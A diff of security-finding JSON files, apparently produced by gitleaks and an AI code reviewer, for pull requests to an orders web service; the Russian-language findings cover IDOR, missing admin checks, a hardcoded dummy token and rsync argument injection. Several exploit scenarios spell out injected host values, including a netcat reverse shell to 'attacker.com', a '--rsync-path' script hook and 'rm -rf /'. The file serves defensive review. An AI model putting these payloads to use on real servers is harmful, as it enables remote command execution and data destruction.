-    "created_at": "2026-08-23T18:54:02Z",
-    "pr_number": 13,
-    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 52,
-    "line_end": 52,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:54:02Z",
-    "pr_number": 13,
-    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
-  }
-]

security-analysis/findings/pr-13/1787511278-review.json

@@ -1,65 +0,0 @@
-[
-  {
-    "id": "ai-review-0-orders.py-43",
-    "source": "ai-review",
-    "category": "idor",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 43,
-    "line_end": 47,
-    "title": "IDOR при чтении заказов — отсутствие проверки ownership",
-    "description": "Метод do_GET для /orders/{id} проверяет аутентификацию, но не проверяет, что заказ принадлежит текущему пользователю. Пользователь может прочитать любой заказ по ID.",
-    "impact": "Любой аутентифицированный пользователь может читать чужие заказы, что ведёт к утечке конфиденциальных данных о финансовых операциях.",
-    "exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа, включая amount и user_id.",
-    "evidence": "def do_GET(self): ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None).",
-    "recommendation": "Добавить проверку: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): self.send_json_response(403, {\"error\": \"Forbidden\"}).",
-    "cwe": "CWE-639",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:54:38Z",
-    "pr_number": 13,
-    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
-  },
-  {
-    "id": "ai-review-1-orders.py-105",
-    "source": "ai-review",
-    "category": "command-exec",
-    "severity": "critical",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 105,
-    "line_end": 122,
-    "title": "Недостаточная валидация хоста — возможная инъекция в rsync",
-    "description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и конструкции (например, пробелы, '--rsync-path=', других опций rsync), что может привести к выполнению произвольных команд при вызове subprocess.run([\"rsync\", ...]).",
-    "impact": "Возможна полная компрометация сервера — выполнение произвольных команд с правами процесса.",
-    "exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com --rsync-path=/tmp/evil.sh'. Даже если регулярное выражение пропустит строку, она может быть интерпретирована как доп. опция rsync или использована для обхода валидации. Проверка _validate_host не исключает наличие других аргументов команды.",
-    "evidence": "cmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host проходит только регулярку, но может содержать опции rsync или управляющие символы.",
-    "recommendation": "Полностью отказаться от произвольного host — использовать белый список предопределённых хостов из конфига, либо дополнить валидацию запретом на все пробелы, дефисы в начале и все символы, начинающиеся с '--'.",
-    "cwe": "CWE-78",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:54:38Z",
-    "pr_number": 13,
-    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
-  },
-  {
-    "id": "ai-review-2-orders.py-65",
-    "source": "ai-review",
-    "category": "authz",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 65,
-    "line_end": 75,
-    "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
-    "description": "Эндпоинт проверяет только наличие токена (начинающегося с token_), но не проверяет, что пользователь является администратором, несмотря на наличие проверки self._user_id == \"admin\".",
-    "impact": "Любой пользователь, имеющий валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование и потенциально использовать уязвимость валидации хоста для RCE.",
-    "exploit_scenario": "Пользователь с token_user отправляет POST /admin/backup с вредоносным host. Проверка self._user_id == \"admin\" находится в том же блоке, что и сам эндпоинт, но проверка аутентификации идёт после, и _user_id может быть установлен до проверки роли — возможна путаница в логике и обход.",
-    "evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли идет ПОСЛЕ установки _user_id в check_auth, но неясно, будет ли проверка роли применена для всех случаев — особенно при обработке заголовков.",
-    "recommendation": "Вынести проверку роли admin до проверки аутентификации, и проверять наличие роли явно, например: auth_ok = self.check_auth(); if not auth_ok: ...; if getattr(self, '_user_id', None) != 'admin': ...",
-    "cwe": "CWE-285",
-    "status": "OPEN",
-    "created_at": "2026-08-23T18:54:38Z",
-    "pr_number": 13,
-    "commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
-  }
-]

security-analysis/findings/pr-13/1787511909.json

@@ -1,56 +0,0 @@
-[
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 27,
-    "line_end": 27,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:09Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 36,
-    "line_end": 36,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:09Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 52,
-    "line_end": 52,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:09Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  }
-]

security-analysis/findings/pr-13/1787511952-review.json

@@ -1,107 +0,0 @@
-[
-  {
-    "id": "ai-review-0-orders.py-40",
-    "source": "ai-review",
-    "category": "idor",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 40,
-    "line_end": 50,
-    "title": "IDOR при чтении заказов",
-    "description": "После добавления валидации токена и извлечения user_id в do_GET для /orders/{id} отсутствует проверка, что заказ принадлежит текущему пользователю. Любой аутентифицированный пользователь может читать чужие заказы по ID.",
-    "impact": "Утечка конфиденциальных данных о финансовых операциях — пользователь может получить сумму и другие детали чужого заказа.",
-    "exploit_scenario": "Пользователь с токеном token_alice отправляет GET /orders/100, где orders[100] принадлежит bob (user_id=bob). В текущей реализации проверка orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None) происходит только при изменении заказа (в do_POST), но не при чтении.",
-    "evidence": "do_GET: order_id = self.path.split(\"/\")[-1]\nif order_id in orders:\n    self.send_json_response(200, orders[order_id]) — нет проверки владельца заказа. В do_POST добавлена проверка, но в do_GET её нет.",
-    "recommendation": "Добавить проверку ownership в do_GET: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): 403 Forbidden.",
-    "cwe": "CWE-639",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:52Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  },
-  {
-    "id": "ai-review-1-orders.py-105",
-    "source": "ai-review",
-    "category": "injection",
-    "severity": "critical",
-    "confidence": 0.95,
-    "file": "orders.py",
-    "line_start": 105,
-    "line_end": 130,
-    "title": "Недостаточная валидация хоста для rsync",
-    "description": "Метод _validate_host проверяет формат IP/домена, но не блокирует опции rsync (например, --rsync-path=), пробелы в середине строки, URL-схемы, которые могут интерпретироваться как аргументы rsync и привести к RCE.",
-    "impact": "Командная инъекция — атакующий может выполнить произвольную команду на сервере с правами процесса приложения через rsync.",
-    "exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com --rsync-path=nc -e /bin/sh attacker.com 4444\"}. Несмотря на регулярные выражения, rsync может интерпретировать часть строки как опции командной строки. Даже без shell=True, rsync поддерживает множество опций, которые можно использовать для обхода.",
-    "evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — не блокирует '--', пробелы, URL-схемы (rsync://).\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — подстановка без дополнительной проверки.",
-    "recommendation": "Существенно усилить валидацию: запретить пробелы и '--', проверить отсутствие URL-схем, использовать строгий белый список (например, только домены из конфига или IP из предустановленного списка), либо полностью отказаться от произвольного host.",
-    "cwe": "CWE-78",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:52Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  },
-  {
-    "id": "ai-review-2-orders.py-80",
-    "source": "ai-review",
-    "category": "authz",
-    "severity": "high",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 80,
-    "line_end": 88,
-    "title": "Отсутствие проверки роли admin для /admin/backup",
-    "description": "Эндпоинт /admin/backup требует только Bearer токен (начинающийся с token_), но не проверяет роль администратора до проверки токена, что позволяет любому аутентифицированному пользователю вызывать эндпоинт, включая потенциально опасные операции rsync.",
-    "impact": "Любой пользователь с валидным пользовательским токеном может инициировать бэкап и использовать уязвимость валидации хоста для RCE или утечки данных.",
-    "exploit_scenario": "Пользователь token_user отправляет POST /admin/backup с вредоносным host. Проверка if not getattr(self, \"_user_id\", None) == \"admin\": идет в том же блоке, но порядок проверок может быть неочевидным и позволяет пройти аутентификацию до проверки роли.",
-    "evidence": "elif self.path == \"/admin/backup\":\n    if not self.check_auth():\n        401\n    if not getattr(self, \"_user_id\", None) == \"admin\":\n        403\n\nЭто позволяет получить любой валидный токен (включая token_userA), после чего _user_id будет установлен, и проверка на 'admin' может быть пропущена в случае логической ошибки (например, если check_auth не устанавливает _user_id как ожидается).",
-    "recommendation": "Изменить порядок проверок: сначала проверить роль admin, затем аутентификацию, либо вынести эндпоинт в отдельный обработчик с более строгими требованиями (например, отдельный API-ключ или JWT claim admin=true).",
-    "cwe": "CWE-285",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:52Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  },
-  {
-    "id": "ai-review-3-orders.py-80",
-    "source": "ai-review",
-    "category": "command-exec",
-    "severity": "critical",
-    "confidence": 0.95,
-    "file": "orders.py",
-    "line_start": 80,
-    "line_end": 110,
-    "title": "Командная инъекция через подстановку host в rsync",
-    "description": "Метод _perform_backup использует подстановку пользовательского ввода host напрямую в команду rsync, даже после валидации. Несмотря на использование списка аргументов (subprocess.run([\"rsync\", ...], shell=False)), rsync может интерпретировать часть строки как опции (например, --rsync-path).",
-    "impact": "RCE — выполнение произвольных команд на сервере с правами процесса.",
-    "exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com:22 --rsync-path=/tmp/evil.sh\"}. Даже если _validate_host не отфильтрует строку, rsync может интерпретировать это как опцию командной строки и выполнить произвольный скрипт.",
-    "evidence": "validated_host = self._validate_host(host)\nif not validated_host: ...\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host может содержать '--' или другие опции, если валидация недостаточно строгая.",
-    "recommendation": "Полностью отказаться от произвольного host, использовать белый список из конфига, либо сильнее валидировать: запретить все пробелы, '--', URL-схемы, и использовать строгие регулярные выражения.",
-    "cwe": "CWE-78",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:52Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  },
-  {
-    "id": "ai-review-4-orders.py-15",
-    "source": "ai-review",
-    "category": "sensitive-data",
-    "severity": "medium",
-    "confidence": 1.0,
-    "file": "orders.py",
-    "line_start": 15,
-    "line_end": 15,
-    "title": "Хардкод токена GitHub в коде",
-    "description": "Токен GitHub хранится в исходном коде как строковая константа: GitHubToken = \"ghp_dummytoken_for_backup_notifications\". Несмотря на префикс dummy, это плохая практика и может сигнализировать о других проблемах.",
-    "impact": "Утечка учетных данных, возможность атак на GitHub API или CI/CD, а также снижение доверия к коду со стороны ревьюеров.",
-    "exploit_scenario": "Атакующий клонирует репозиторий, находит токен в коде, и пытается использовать его для доступа к API. Наличие dummy-токена может стимулировать поиск других секретов.",
-    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — нет использования os.getenv(\"GITHUB_TOKEN\").",
-    "recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов.",
-    "cwe": "CWE-312",
-    "status": "OPEN",
-    "created_at": "2026-08-23T19:05:52Z",
-    "pr_number": 13,
-    "commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
-  }
-]

security-analysis/findings/pr-13/1787624817.json

@@ -1,56 +0,0 @@
-[
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 27,
-    "line_end": 27,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-25T02:26:57Z",
-    "pr_number": 13,
-    "commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 36,
-    "line_end": 36,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-25T02:26:57Z",
-    "pr_number": 13,
-    "commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
-  },
-  {
-    "id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
-    "source": "gitleaks",
-    "category": "secret",
-    "severity": "high",
-    "confidence": 0.9,
-    "file": "README.md",
-    "line_start": 52,
-    "line_end": 52,
-    "title": "Potential secret: curl-auth-header",
-    "description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
-    "rule_id": "curl-auth-header",
-    "cwe": "CWE-798",
-    "status": "OPEN",
-    "created_at": "2026-08-25T02:26:57Z",
-    "pr_number": 13,
-    "commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
-  }
-]

security-analysis/findings/pr-9/1787498989.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-9/1787499027-review.json

@@ -0,0 +1,86 @@
+[
+  {
+    "id": "ai-review-0-orders.py-70",
+    "source": "ai-review",
+    "category": "command-exec",
+    "severity": "critical",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 70,
+    "line_end": 70,
+    "title": "Небезопасное использование пользовательского ввода в subprocess.run",
+    "description": "Значение параметра host берётся из JSON-запроса и напрямую подставляется в команду rsync без валидации или экранирования, что позволяет выполнить произвольные команды через специально сформированный host.",
+    "impact": "Полный компрометация сервера — атакующий может выполнить любую команду на хосте с правами процесса приложения.",
+    "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = \"example.com; rm -rf /\" или host = \"example.com$(whoami).attacker.com\" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.",
+    "evidence": "self._perform_backup(backup_host) → subprocess.run([\"rsync\", \"-avz\", \"/workspace/\", f\"{host}:/backup/orders/\"]) — строка host напрямую подставляется в команду без валидации.",
+    "recommendation": "Запретить произвольные host-значения: использовать белый список разрешённых хостов, проверить формат IP/домена, использовать строгую валидацию (например, регулярным выражением) и/или экранировать аргументы (например, добавлять флаги '--' или использовать строго типизированный вызов без shell, но лучше — полностью отказаться от подстановки пользовательских строк в аргументы команд).",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  },
+  {
+    "id": "ai-review-1-orders.py-15",
+    "source": "ai-review",
+    "category": "sensitive-data",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 15,
+    "line_end": 15,
+    "title": "Жёстко закодированный токен GitHub в исходном коде",
+    "description": "Токен 'ghp_dummytoken_for_backup_notifications' захардкожен в коде. Несмотря на префикс 'dummy', это чувствительное значение, и оно может быть случайно обнаружено в репозитории.",
+    "impact": "Возможна утечка учётных данных, если репозиторий станет публичным, или если токен окажется в логах или артефактах сборки.",
+    "exploit_scenario": "Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.",
+    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
+    "recommendation": "Использовать переменные окружения или специализированный менеджер секретов (Vault, AWS Secrets Manager и т.п.) и не хранить токены в коде.",
+    "cwe": "CWE-312",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  },
+  {
+    "id": "ai-review-2-orders.py-32",
+    "source": "ai-review",
+    "category": "idor",
+    "severity": "medium",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 32,
+    "line_end": 37,
+    "title": "Отсутствие проверки прав доступа к заказам",
+    "description": "Пользователи могут читать и модифицировать любые заказы по order_id, без привязки к собственному user_id.",
+    "impact": "Пользователь может просмотреть и изменить чужие заказы, что может привести к финансовым потерям или утечке данных.",
+    "exploit_scenario": "Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.",
+    "evidence": "order_id = self.path.split(\"/\")[-1]; orders[order_id][\"amount\"] = data[\"amount\"] — никакой проверки ownership.",
+    "recommendation": "Добавить проверку, что order_id принадлежит текущему пользователю, например, по session или JWT claim user_id.",
+    "cwe": "CWE-639",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  },
+  {
+    "id": "ai-review-3-orders.py-41",
+    "source": "ai-review",
+    "category": "authz",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 41,
+    "line_end": 41,
+    "title": "Открытый доступ к административному endpoint /admin/backup без аутентификации",
+    "description": "Эндпоинт /admin/backup доступен любому пользователю, не требует аутентификации или авторизации.",
+    "impact": "Любой желающий может инициировать резервное копирование и использовать уязвимость командной инъекции.",
+    "exploit_scenario": "Анонимный атакующий отправляет POST /admin/backup с вредоносным host.",
+    "evidence": "elif self.path == \"/admin/backup\": — нет проверки self.headers.get(\"Authorization\") или аналогов.",
+    "recommendation": "Добавить аутентификацию (например, Basic Auth или API-ключ), проверку прав и ограничение IP.",
+    "cwe": "CWE-306",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  }
+]